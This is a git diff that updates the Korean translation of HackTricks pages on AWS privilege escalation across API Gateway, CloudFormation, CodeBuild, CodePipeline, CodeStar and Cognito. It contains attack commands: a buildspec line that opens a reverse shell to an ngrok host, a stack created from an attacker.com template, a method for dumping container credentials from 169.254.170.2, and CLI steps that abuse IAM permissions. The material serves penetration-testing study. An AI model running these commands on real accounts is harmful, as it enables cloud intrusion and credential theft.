echo -n "https://signin.aws.amazon.com/federation?Action=login&Issuer=example.com&Destination=https%3A%2F%2Fconsole.aws.amazon.com%2F&SigninToken=$signin_token"
```
@@ -76,11 +75,11 @@ aws-vault exec jonsmith -- aws s3 ls # Execute aws cli with jonsmith creds
aws-vault login jonsmith # Open a browser logged as jonsmith
```
> [!NOTE]
-> You can also use **aws-vault** to obtain an **browser console session**
+> **aws-vault**를 사용하여 **브라우저 콘솔 세션**을 얻을 수도 있습니다.
### **Python에서 User-Agent 제한 우회하기**
-사용하는 **user agent에 따라 특정 작업을 수행하는 제한이 있는 경우** (예: user agent에 따라 python boto3 라이브러리 사용 제한) 이전 기술을 사용하여 **브라우저를 통해 웹 콘솔에 연결**하거나, 직접 **boto3 user-agent를 수정**할 수 있습니다:
+사용된 **user agent에 따라 특정 작업을 수행하는 제한**이 있는 경우(예: user agent에 따라 python boto3 라이브러리 사용 제한) 이전 기술을 사용하여 **브라우저를 통해 웹 콘솔에 연결**하거나, 다음과 같이 **boto3 user-agent를 직접 수정**할 수 있습니다:
```bash
# Shared by ex16x41
# Create a client
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation.md
index b0b7e19fd..80584b24d 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation.md
@@ -1,10 +1,10 @@
-# AWS - VPN Post Exploitation
+# AWS - VPN 포스트 익스플로이테이션
{{#include ../../../banners/hacktricks-training.md}}
## VPN
-자세한 정보는 다음을 참조하십시오:
+자세한 정보:
{{#ref}}
../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/README.md
index c2d46be09..58ce2b88a 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/README.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/README.md
@@ -1,21 +1,21 @@
-# AWS - Privilege Escalation
+# AWS - 권한 상승
{{#include ../../../banners/hacktricks-training.md}}
-## AWS Privilege Escalation
+## AWS 권한 상승
AWS에서 권한을 상승시키는 방법은 다른 역할/사용자/그룹의 권한에 접근할 수 있을 만큼 충분한 권한을 갖는 것입니다. 관리 액세스 권한을 얻을 때까지 상승을 연결합니다.
> [!WARNING]
-> AWS에는 **수백** (아니면 수천)의 **권한**이 있습니다. 이 책에서는 **내가 아는 모든 권한**을 찾을 수 있으며, 이를 **악용하여 권한을 상승시킬 수** 있습니다. 하지만 여기 언급되지 않은 **경로를 알고 있다면**, **공유해 주세요**.
+> AWS에는 **수백** (아니면 수천)의 **권한**이 있습니다. 이 책에서는 **내가 아는 모든 권한**을 찾을 수 있으며, 이를 **악용하여 권한을 상승**시킬 수 있습니다. 하지만 여기 언급되지 않은 **경로를 알고 있다면**, **공유해 주세요**.
> [!CAUTION]
-> IAM 정책에 `"Effect": "Allow"`와 `"NotAction": "Someaction"`이 포함되어 **리소스**를 나타내는 경우... 이는 **허용된 주체**가 **지정된 작업을 제외한 모든 작업을 수행할 수 있는 권한**을 가지고 있음을 의미합니다.\
+> IAM 정책에 `"Effect": "Allow"`와 `"NotAction": "Someaction"`이 포함되어 **리소스**를 나타내면... 이는 **허용된 주체**가 **지정된 작업을 제외한 모든 작업을 수행할 수 있는 권한**이 있음을 의미합니다.\
> 따라서 이는 주체에게 **특권 권한을 부여하는 또 다른 방법**임을 기억하세요.
**이 섹션의 페이지는 AWS 서비스별로 정렬되어 있습니다. 여기에서 권한을 상승시킬 수 있는 권한을 찾을 수 있습니다.**
-## Tools
+## 도구
- [https://github.com/RhinoSecurityLabs/Security-Research/blob/master/tools/aws-pentest-tools/aws_escalate.py](https://github.com/RhinoSecurityLabs/Security-Research/blob/master/tools/aws-pentest-tools/aws_escalate.py)
- [Pacu](https://github.com/RhinoSecurityLabs/pacu)
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md
index d5f4cad8e..d1678c0ca 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md
@@ -16,16 +16,16 @@
```bash
aws --region apigateway create-api-key
```
-**잠재적 영향:** 이 기술로 권한 상승을 할 수는 없지만, 민감한 정보에 접근할 수 있습니다.
+**잠재적 영향:** 이 기술로는 권한 상승을 할 수 없지만, 민감한 정보에 접근할 수 있습니다.
### `apigateway:GET`
-이 권한으로 구성된 API의 생성된 API 키를 가져올 수 있습니다(지역별).
+이 권한을 사용하면 구성된 API의 생성된 API 키를 가져올 수 있습니다(지역별).
```bash
aws --region apigateway get-api-keys
aws --region apigateway get-api-key --api-key --include-value
```
-**잠재적 영향:** 이 기술로는 권한 상승을 할 수 없지만 민감한 정보에 접근할 수 있습니다.
+**잠재적 영향:** 이 기술로는 권한 상승이 불가능하지만 민감한 정보에 접근할 수 있습니다.
### `apigateway:UpdateRestApiPolicy`, `apigateway:PATCH`
@@ -35,12 +35,12 @@ aws apigateway update-rest-api \
--rest-api-id api-id \
--patch-operations op=replace,path=/policy,value='"{\"jsonEscapedPolicyDocument\"}"'
```
-**잠재적 영향:** 일반적으로 이 기술로 직접적으로 권한 상승을 할 수는 없지만, 민감한 정보에 접근할 수 있습니다.
+**잠재적 영향:** 일반적으로 이 기술로 직접적으로 권한 상승을 할 수는 없지만, 민감한 정보에 접근할 수 있을지도 모릅니다.
### `apigateway:PutIntegration`, `apigateway:CreateDeployment`, `iam:PassRole`
> [!NOTE]
-> 테스트 필요
+> 테스트가 필요합니다.
`apigateway:PutIntegration`, `apigateway:CreateDeployment`, 및 `iam:PassRole` 권한을 가진 공격자는 **IAM 역할이 연결된 Lambda 함수로 기존 API Gateway REST API에 새로운 통합을 추가할 수 있습니다**. 그런 다음 공격자는 **Lambda 함수를 트리거하여 임의의 코드를 실행하고 IAM 역할과 관련된 리소스에 접근할 수 있습니다**.
```bash
@@ -90,6 +90,6 @@ NEW_NLB_ARN="arn:aws:elasticloadbalancing:region:account-id:loadbalancer/net/new
# Update the VPC Link
aws apigateway update-vpc-link --vpc-link-id $VPC_LINK_ID --patch-operations op=replace,path=/targetArns,value="[$NEW_NLB_ARN]"
```
-**잠재적 영향**: 비공식 API 리소스에 대한 무단 접근, API 트래픽의 가로채기 또는 중단.
+**잠재적 영향**: 비공식 API 리소스에 대한 무단 접근, API 트래픽의 가로채기 또는 중단.
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md
index a1131aa0d..982138dcb 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md
@@ -12,7 +12,7 @@ cloudformation에 대한 자세한 정보는 다음을 확인하세요:
### `iam:PassRole`, `cloudformation:CreateStack`
-이 권한을 가진 공격자는 **지정된 역할의 권한으로 작업을 실행하기 위해** 자신의 서버에 호스팅된 **사용자 정의 템플릿**으로 **CloudFormation 스택**을 작성하여 **권한을 상승시킬 수 있습니다:**
+이 권한을 가진 공격자는 **지정된 역할의 권한으로 작업을 실행하기 위해** 자신의 서버에 호스팅된 사용자 정의 템플릿으로 **CloudFormation 스택**을 작성하여 **권한을 상승시킬 수 있습니다:**
```bash
aws cloudformation create-stack --stack-name \
--template-url http://attacker.com/attackers.template \
@@ -28,7 +28,7 @@ iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md
### `iam:PassRole`, (`cloudformation:UpdateStack` | `cloudformation:SetStackPolicy`)
-이 경우 기존 cloudformation 스택을 **악용하여** 업데이트하고 이전 시나리오처럼 권한을 상승시킬 수 있습니다:
+이 경우 기존의 cloudformation 스택을 **악용하여** 업데이트하고 이전 시나리오처럼 권한을 상승시킬 수 있습니다:
```bash
aws cloudformation update-stack \
--stack-name privesc \
@@ -43,7 +43,7 @@ aws cloudformation update-stack \
### `cloudformation:UpdateStack` | `cloudformation:SetStackPolicy`
-이 권한이 있지만 **`iam:PassRole`이 없는 경우**에도 **사용된 스택을 업데이트**하고 **이미 연결된 IAM 역할을 악용**할 수 있습니다. 이전 섹션에서 exploit 예제를 확인하세요 (업데이트에서 역할을 지정하지 마세요).
+이 권한이 있지만 **`iam:PassRole`이 없는 경우**에도 **사용된 스택을 업데이트**하고 **이미 연결된 IAM 역할을 악용**할 수 있습니다. 이전 섹션에서 악용 예제를 확인하세요(업데이트 시 역할을 지정하지 마세요).
`cloudformation:SetStackPolicy` 권한은 **스택에 대한 `UpdateStack` 권한을 부여**하고 공격을 수행하는 데 사용할 수 있습니다.
@@ -51,9 +51,9 @@ aws cloudformation update-stack \
### `iam:PassRole`,((`cloudformation:CreateChangeSet`, `cloudformation:ExecuteChangeSet`) | `cloudformation:SetStackPolicy`)
-역할을 **전달하고 ChangeSet을 생성 및 실행할 수 있는 권한**을 가진 공격자는 **새 cloudformation 스택을 생성/업데이트하고 cloudformation 서비스 역할을 악용**할 수 있습니다. CreateStack 또는 UpdateStack과 마찬가지로.
+역할을 **전달하고 ChangeSet을 생성 및 실행**할 수 있는 권한이 있는 공격자는 **새 cloudformation 스택을 생성/업데이트하고 cloudformation 서비스 역할을 악용**할 수 있습니다. CreateStack 또는 UpdateStack과 마찬가지입니다.
-다음 exploit는 **ChangeSet 권한을 사용하여 스택을 생성하는**[ **CreateStack 변형**](./#iam-passrole-cloudformation-createstack)입니다.
+다음 악용은 **ChangeSet 권한을 사용하여 스택을 생성하는**[ **CreateStack 하나의**](./#iam-passrole-cloudformation-createstack) 변형입니다.
```bash
aws cloudformation create-change-set \
--stack-name privesc \
@@ -79,7 +79,7 @@ aws cloudformation describe-stacks \
--stack-name privesc \
--region eu-west-1
```
-`cloudformation:SetStackPolicy` 권한은 **스택에 대한 `ChangeSet` 권한을 부여**하고 공격을 수행하는 데 사용할 수 있습니다.
+`cloudformation:SetStackPolicy` 권한을 사용하여 **스택에 대한 `ChangeSet` 권한을 부여**하고 공격을 수행할 수 있습니다.
**잠재적 영향:** cloudformation 서비스 역할에 대한 권한 상승.
@@ -99,7 +99,7 @@ aws cloudformation describe-stacks \
### `cloudformation:UpdateStackSet`
-공격자는 passRole 권한 없이 이 권한을 악용하여 연결된 cloudformation 역할을 악용하기 위해 StackSets를 업데이트할 수 있습니다.
+공격자는 passRole 권한 없이도 이 권한을 악용하여 연결된 cloudformation 역할을 악용하기 위해 StackSets를 업데이트할 수 있습니다.
**잠재적 영향:** 연결된 cloudformation 역할로의 권한 상승.
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md
index 1a8cd4093..d09aea503 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md
@@ -62,7 +62,7 @@ aws cloudformation create-stack --stack-name privesc \
--role arn:aws:iam::[REDACTED]:role/adminaccess \
--capabilities CAPABILITY_IAM --region us-west-2
```
-**몇 분 기다리세요** 스택이 생성된 후 **자격 증명이 저장된** 스택의 **출력을 가져옵니다**:
+**스택이 생성될 때까지 몇 분 기다리세요** 그리고 **자격 증명이 저장된** 스택의 **출력을 가져오세요**:
```bash
aws cloudformation describe-stacks \
--stack-name arn:aws:cloudformation:us-west2:[REDACTED]:stack/privesc/b4026300-d3fe-11e9-b3b5-06fe8be0ff5e \
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md
index 80193d99d..5c29ae5e5 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md
@@ -4,7 +4,7 @@
## codebuild
-자세한 정보는 다음에서 확인하세요:
+자세한 정보는 다음을 참조하세요:
{{#ref}}
../aws-services/aws-codebuild-enum.md
@@ -58,12 +58,12 @@ aws codebuild start-build-batch --project --buildspec-override fi
{{#endtab }}
{{#endtabs }}
-**Note**: 이 두 명령의 차이는 다음과 같습니다:
+**참고**: 이 두 명령어의 차이는 다음과 같습니다:
- `StartBuild`는 특정 `buildspec.yml`을 사용하여 단일 빌드 작업을 트리거합니다.
- `StartBuildBatch`는 더 복잡한 구성으로 빌드 배치를 시작할 수 있게 해줍니다 (예: 여러 빌드를 병렬로 실행).
-**Potential Impact:** 연결된 AWS Codebuild 역할에 대한 직접적인 권한 상승.
+**잠재적 영향:** 연결된 AWS Codebuild 역할에 대한 직접적인 권한 상승.
### `iam:PassRole`, `codebuild:CreateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`)
@@ -142,7 +142,7 @@ aws codebuild start-build --project-name reverse-shell-project
> [!WARNING]
> **Codebuild 컨테이너**에서 파일 `/codebuild/output/tmp/env.sh`는 **메타데이터 자격 증명**에 접근하는 데 필요한 모든 환경 변수를 포함하고 있습니다.
-> 이 파일에는 **환경 변수 `AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`**가 포함되어 있으며, 이는 자격 증명에 접근하기 위한 **URL 경로**를 포함하고 있습니다. 이는 `/v2/credentials/2817702c-efcf-4485-9730-8e54303ec420`와 같은 형식일 것입니다.
+> 이 파일에는 **환경 변수 `AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`**가 포함되어 있으며, 이는 자격 증명에 접근하기 위한 **URL 경로**를 포함하고 있습니다. 이 경로는 `/v2/credentials/2817702c-efcf-4485-9730-8e54303ec420`와 같은 형식일 것입니다.
> 이를 URL **`http://169.254.170.2/`**에 추가하면 역할 자격 증명을 덤프할 수 있습니다.
@@ -150,7 +150,7 @@ aws codebuild start-build --project-name reverse-shell-project
### `iam:PassRole`, `codebuild:UpdateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`)
-이전 섹션과 마찬가지로, 빌드 프로젝트를 생성하는 대신 수정할 수 있다면, IAM 역할을 지정하고 토큰을 훔칠 수 있습니다.
+이전 섹션과 마찬가지로, 빌드 프로젝트를 생성하는 대신 수정할 수 있다면, IAM 역할을 지정하고 토큰을 탈취할 수 있습니다.
```bash
REV_PATH="/tmp/codebuild_pwn.json"
@@ -268,9 +268,9 @@ aws codebuild start-build-batch --project-name codebuild-demo-project
### SSM
-**SSM 세션을 시작할 수 있는 충분한 권한이 있는 경우** 빌드 중인 **Codebuild 프로젝트** 내부에 접근할 수 있습니다.
+**SSM 세션을 시작할 수 있는 충분한 권한이 있는 경우** 빌드 중인 **Codebuild 프로젝트 내부에 들어갈 수 있습니다.**
-코드빌드 프로젝트는 중단점이 필요합니다:
+Codebuild 프로젝트는 중단점이 필요합니다:
phases:
pre_build:
@@ -285,13 +285,13 @@ commands:
aws codebuild batch-get-builds --ids --region --output json
aws ssm start-session --target --region
```
-더 많은 정보는 [**문서 확인**](https://docs.aws.amazon.com/codebuild/latest/userguide/session-manager.html)을 참조하세요.
+더 많은 정보는 [**문서를 확인하세요**](https://docs.aws.amazon.com/codebuild/latest/userguide/session-manager.html).
### (`codebuild:StartBuild` | `codebuild:StartBuildBatch`), `s3:GetObject`, `s3:PutObject`
-특정 CodeBuild 프로젝트의 빌드를 시작/재시작할 수 있는 공격자는 공격자가 쓰기 권한이 있는 S3 버킷에 `buildspec.yml` 파일을 저장하는 경우, CodeBuild 프로세스에서 명령 실행을 얻을 수 있습니다.
+특정 CodeBuild 프로젝트의 빌드를 시작/재시작할 수 있는 공격자는 공격자가 쓰기 권한이 있는 S3 버킷에 `buildspec.yml` 파일을 저장하고 있는 경우, CodeBuild 프로세스에서 명령 실행을 얻을 수 있습니다.
-참고: 권한 상승은 CodeBuild 작업자가 공격자의 역할과 다른 역할(더 높은 권한이 있기를 희망함)을 가질 때만 관련이 있습니다.
+참고: 상승 권한은 CodeBuild 작업자가 공격자의 역할과 다르고, 더 높은 권한이 있기를 바라는 경우에만 관련이 있습니다.
```bash
aws s3 cp s3:///buildspec.yml ./
@@ -317,13 +317,13 @@ build:
commands:
- bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18419 0>&1
```
-**Impact:** AWS CodeBuild 작업자가 사용하는 역할로 직접적인 권한 상승이 발생하며, 이 역할은 일반적으로 높은 권한을 가집니다.
+**영향:** 일반적으로 높은 권한을 가진 AWS CodeBuild 작업자가 사용하는 역할로의 직접적인 권한 상승.
> [!WARNING]
-> buildspec이 zip 형식으로 예상될 수 있으므로, 공격자는 다운로드하여 압축을 풀고, 루트 디렉토리에서 `buildspec.yml`을 수정한 후 다시 압축하고 업로드해야 합니다.
+> buildspec이 zip 형식으로 예상될 수 있으므로, 공격자는 루트 디렉토리에서 `buildspec.yml`을 다운로드, 압축 해제, 수정한 후 다시 압축하고 업로드해야 합니다.
자세한 내용은 [여기](https://www.shielder.com/blog/2023/07/aws-codebuild--s3-privilege-escalation/)에서 확인할 수 있습니다.
-**Potential Impact:** 연결된 AWS Codebuild 역할로의 직접적인 권한 상승.
+**잠재적 영향:** 연결된 AWS Codebuild 역할로의 직접적인 권한 상승.
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md
index 83790d424..8a05e3ecf 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md
@@ -16,9 +16,9 @@ codepipeline에 대한 자세한 정보는 다음을 확인하세요:
이전 권한 외에도 **코드가 저장된 위치에 대한 접근 권한**이 필요합니다 (S3, ECR, github, bitbucket...)
-웹 페이지에서 이 과정을 테스트했으며, 이전에 언급한 권한은 코드파이프라인을 생성하는 데 필요한 List/Get 권한이 아니지만, 웹에서 생성하려면 다음도 필요합니다: `codebuild:ListCuratedEnvironmentImages, codebuild:ListProjects, codebuild:ListRepositories, codecommit:ListRepositories, events:PutTargets, codepipeline:ListPipelines, events:PutRule, codepipeline:ListActionTypes, cloudtrail:<여러>`
+웹 페이지에서 이 과정을 테스트했으며, 이전에 언급된 권한은 코드 파이프라인을 생성하는 데 필요한 List/Get 권한이 아니지만, 웹에서 생성하려면 다음도 필요합니다: `codebuild:ListCuratedEnvironmentImages, codebuild:ListProjects, codebuild:ListRepositories, codecommit:ListRepositories, events:PutTargets, codepipeline:ListPipelines, events:PutRule, codepipeline:ListActionTypes, cloudtrail:`
-**빌드 프로젝트 생성** 중에 **실행할 명령**(rev shell?)을 지정하고 **특권 사용자**로 빌드 단계를 실행할 수 있습니다. 이는 공격자가 탈취하는 데 필요한 구성입니다:
+**빌드 프로젝트를 생성하는 동안** **실행할 명령**(rev shell?)을 지정하고 빌드 단계를 **특권 사용자**로 실행하도록 설정할 수 있습니다. 이는 공격자가 권한을 탈취하는 데 필요한 구성입니다:
.png>)
@@ -26,11 +26,11 @@ codepipeline에 대한 자세한 정보는 다음을 확인하세요:
### ?`codebuild:UpdateProject, codepipeline:UpdatePipeline, codepipeline:StartPipelineExecution`
-이전 권한으로 코드파이프라인에서 사용되는 역할과 실행되는 명령을 수정할 수 있을 가능성이 있습니다.
+이전 권한으로 코드 파이프라인에서 사용되는 역할과 실행된 명령을 수정할 수 있을지도 모릅니다.
### `codepipeline:pollforjobs`
-[AWS는 다음과 같이 언급합니다](https://docs.aws.amazon.com/codepipeline/latest/APIReference/API_PollForJobs.html):
+[AWS는 언급합니다](https://docs.aws.amazon.com/codepipeline/latest/APIReference/API_PollForJobs.html):
> 이 API가 호출되면, CodePipeline은 **파이프라인의 아티팩트를 저장하는 S3 버킷에 대한 임시 자격 증명**을 반환합니다. 이 작업이 입력 또는 출력 아티팩트에 대한 S3 버킷 접근을 요구하는 경우입니다. 이 API는 또한 **작업에 대해 정의된 모든 비밀 값**을 반환합니다.
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md
index faf39b381..2782d7898 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md
@@ -20,7 +20,7 @@ iam-passrole-codestar-createproject.md
### `codestar:CreateProject`, `codestar:AssociateTeamMember`
-이 기술은 `codestar:CreateProject`를 사용하여 codestar 프로젝트를 생성하고, `codestar:AssociateTeamMember`를 사용하여 IAM 사용자를 새로운 CodeStar **프로젝트**의 **소유자**로 만들며, 이를 통해 **몇 가지 추가 권한이 포함된 새로운 정책**을 부여합니다.
+이 기술은 `codestar:CreateProject`를 사용하여 codestar 프로젝트를 생성하고, `codestar:AssociateTeamMember`를 사용하여 IAM 사용자를 새로운 CodeStar **프로젝트**의 **소유자**로 만듭니다. 이로 인해 **몇 가지 추가 권한이 포함된 새로운 정책**이 부여됩니다.
```bash
PROJECT_NAME="supercodestar"
@@ -39,9 +39,9 @@ aws --profile "$NON_PRIV_PROFILE_USER" codestar associate-team-member \
--project-role "Owner" \
--remote-access-allowed
```
-If you are already a **member of the project** you can use the permission **`codestar:UpdateTeamMember`** to **update your role** to owner instead of `codestar:AssociateTeamMember`
+프로젝트의 **회원**인 경우, **`codestar:UpdateTeamMember`** 권한을 사용하여 역할을 `codestar:AssociateTeamMember` 대신 소유자로 **업데이트**할 수 있습니다.
-**Potential Impact:** Privesc to the codestar policy generated. You can find an example of that policy in:
+**잠재적 영향:** 생성된 codestar 정책에 대한 권한 상승. 해당 정책의 예시는 다음에서 확인할 수 있습니다:
{{#ref}}
codestar-createproject-codestar-associateteammember.md
@@ -51,8 +51,8 @@ codestar-createproject-codestar-associateteammember.md
1. **새 프로젝트 생성:**
- **`codestar:CreateProjectFromTemplate`** 작업을 사용하여 새 프로젝트 생성을 시작합니다.
-- 성공적으로 생성되면 **`cloudformation:UpdateStack`**에 대한 접근 권한이 자동으로 부여됩니다.
-- 이 접근 권한은 `CodeStarWorker--CloudFormation` IAM 역할과 관련된 스택을 대상으로 합니다.
+- 성공적으로 생성되면 **`cloudformation:UpdateStack`**에 대한 접근이 자동으로 부여됩니다.
+- 이 접근은 `CodeStarWorker--CloudFormation` IAM 역할과 연결된 스택을 특정적으로 대상으로 합니다.
2. **대상 스택 업데이트:**
- 부여된 CloudFormation 권한으로 지정된 스택을 업데이트합니다.
- 스택의 이름은 일반적으로 두 가지 패턴 중 하나에 따릅니다:
@@ -63,9 +63,9 @@ codestar-createproject-codestar-associateteammember.md
- 업데이트 후, 스택과 연결된 **CloudFormation IAM 역할**에 할당된 기능을 얻습니다.
- 참고: 이는 본질적으로 전체 관리자 권한을 제공하지 않습니다. 권한을 추가로 상승시키기 위해 환경 내에서 잘못 구성된 리소스가 필요할 수 있습니다.
-For more information check the original research: [https://rhinosecuritylabs.com/aws/escalating-aws-iam-privileges-undocumented-codestar-api/](https://rhinosecuritylabs.com/aws/escalating-aws-iam-privileges-undocumented-codestar-api/).\
-You can find the exploit in [https://github.com/RhinoSecurityLabs/Cloud-Security-Research/blob/master/AWS/codestar_createprojectfromtemplate_privesc/CodeStarPrivEsc.py](https://github.com/RhinoSecurityLabs/Cloud-Security-Research/blob/master/AWS/codestar_createprojectfromtemplate_privesc/CodeStarPrivEsc.py)
+자세한 정보는 원본 연구를 확인하세요: [https://rhinosecuritylabs.com/aws/escalating-aws-iam-privileges-undocumented-codestar-api/](https://rhinosecuritylabs.com/aws/escalating-aws-iam-privileges-undocumented-codestar-api/).\
+익스플로잇은 [https://github.com/RhinoSecurityLabs/Cloud-Security-Research/blob/master/AWS/codestar_createprojectfromtemplate_privesc/CodeStarPrivEsc.py](https://github.com/RhinoSecurityLabs/Cloud-Security-Research/blob/master/AWS/codestar_createprojectfromtemplate_privesc/CodeStarPrivEsc.py)에서 확인할 수 있습니다.
-**Potential Impact:** Privesc to cloudformation IAM role.
+**잠재적 영향:** cloudformation IAM 역할에 대한 권한 상승.
{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/codestar-createproject-codestar-associateteammember.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/codestar-createproject-codestar-associateteammember.md
index 114bf2a2a..1ecc3dae1 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/codestar-createproject-codestar-associateteammember.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/codestar-createproject-codestar-associateteammember.md
@@ -2,7 +2,7 @@
{{#include ../../../../banners/hacktricks-training.md}}
-사용자가 권한 상승할 수 있는 생성된 정책입니다 (프로젝트 이름은 `supercodestar`):
+사용자가 권한 상승할 수 있는 생성된 정책입니다 (프로젝트 이름은 `supercodestar`입니다):
```json
{
"Version": "2012-10-17",
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/iam-passrole-codestar-createproject.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/iam-passrole-codestar-createproject.md
index efa43713d..24118f637 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/iam-passrole-codestar-createproject.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/iam-passrole-codestar-createproject.md
@@ -34,7 +34,7 @@
**두 파일이 모두 피해자 계정에서 접근 가능해야 한다는 점을 기억하세요**.
-두 가지를 모두 업로드한 후, **codestar** 프로젝트를 생성하여 **악용**을 진행할 수 있습니다:
+두 가지를 업로드한 후, **codestar** 프로젝트를 생성하여 **악용**을 진행할 수 있습니다:
```bash
PROJECT_NAME="supercodestar"
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md
index bae2646a8..fd966710f 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md
@@ -12,15 +12,15 @@ Cognito에 대한 자세한 정보는 다음을 확인하세요:
### Identity Pool에서 자격 증명 수집
-Cognito는 **인증된** 및 **인증되지 않은** **사용자** 모두에게 **IAM 역할 자격 증명**을 부여할 수 있으므로, 애플리케이션의 **Identity Pool ID**를 찾으면 (애플리케이션에 하드코딩되어 있어야 함) 새로운 자격 증명을 얻을 수 있으며, 따라서 권한 상승이 가능합니다 (이전에 자격 증명이 없었던 AWS 계정 내에서).
+Cognito는 **인증된** 및 **비인증된** **사용자** 모두에게 **IAM 역할 자격 증명**을 부여할 수 있으므로, 애플리케이션의 **Identity Pool ID**를 찾으면 (애플리케이션에 하드코딩되어 있어야 함) 새로운 자격 증명을 얻을 수 있으며, 따라서 privesc를 수행할 수 있습니다 (이전에 자격 증명이 없었던 AWS 계정 내에서).
자세한 내용은 [**이 페이지를 확인하세요**](../aws-unauthenticated-enum-access/#cognito).
-**잠재적 영향:** 인증되지 않은 사용자에게 연결된 서비스 역할로의 직접적인 권한 상승 (그리고 아마도 인증된 사용자에게 연결된 역할로).
+**잠재적 영향:** 비인증 사용자에게 연결된 서비스 역할로의 직접적인 privesc (아마도 인증 사용자에게 연결된 역할로도).
### `cognito-identity:SetIdentityPoolRoles`, `iam:PassRole`
-이 권한을 사용하면 Cognito 앱의 인증된/인증되지 않은 사용자에게 **모든 Cognito 역할**을 부여할 수 있습니다.
+이 권한을 사용하면 Cognito 앱의 인증된/비인증된 사용자에게 **모든 Cognito 역할**을 부여할 수 있습니다.
```bash
aws cognito-identity set-identity-pool-roles \
--identity-pool-id \
@@ -32,13 +32,13 @@ aws cognito-identity get-id --identity-pool-id "eu-west-2:38b294756-2578-8246-90
## Get creds for that id
aws cognito-identity get-credentials-for-identity --identity-id "eu-west-2:195f9c73-4789-4bb4-4376-99819b6928374"
```
-If the cognito app **unauthenticated users가 활성화되어 있지 않다면** `cognito-identity:UpdateIdentityPool` 권한도 필요할 수 있습니다.
+Cognito 앱이 **비인증 사용자 사용이 활성화되어 있지 않다면** `cognito-identity:UpdateIdentityPool` 권한이 필요할 수 있습니다.
-**Potential Impact:** 모든 cognito 역할에 대한 직접적인 권한 상승.
+**잠재적 영향:** 모든 Cognito 역할에 대한 직접적인 권한 상승.
### `cognito-identity:update-identity-pool`
-이 권한을 가진 공격자는 예를 들어 자신의 제어 하에 있는 Cognito 사용자 풀 또는 로그인할 수 있는 다른 신원 제공자를 설정할 수 있습니다. 이렇게 하면 **이 Cognito Identity Pool에 접근하는 방법**이 됩니다. 그런 다음, 해당 사용자 제공자에서 **로그인**하면 **Identity Pool에서 구성된 인증된 역할에 접근할 수 있습니다.**
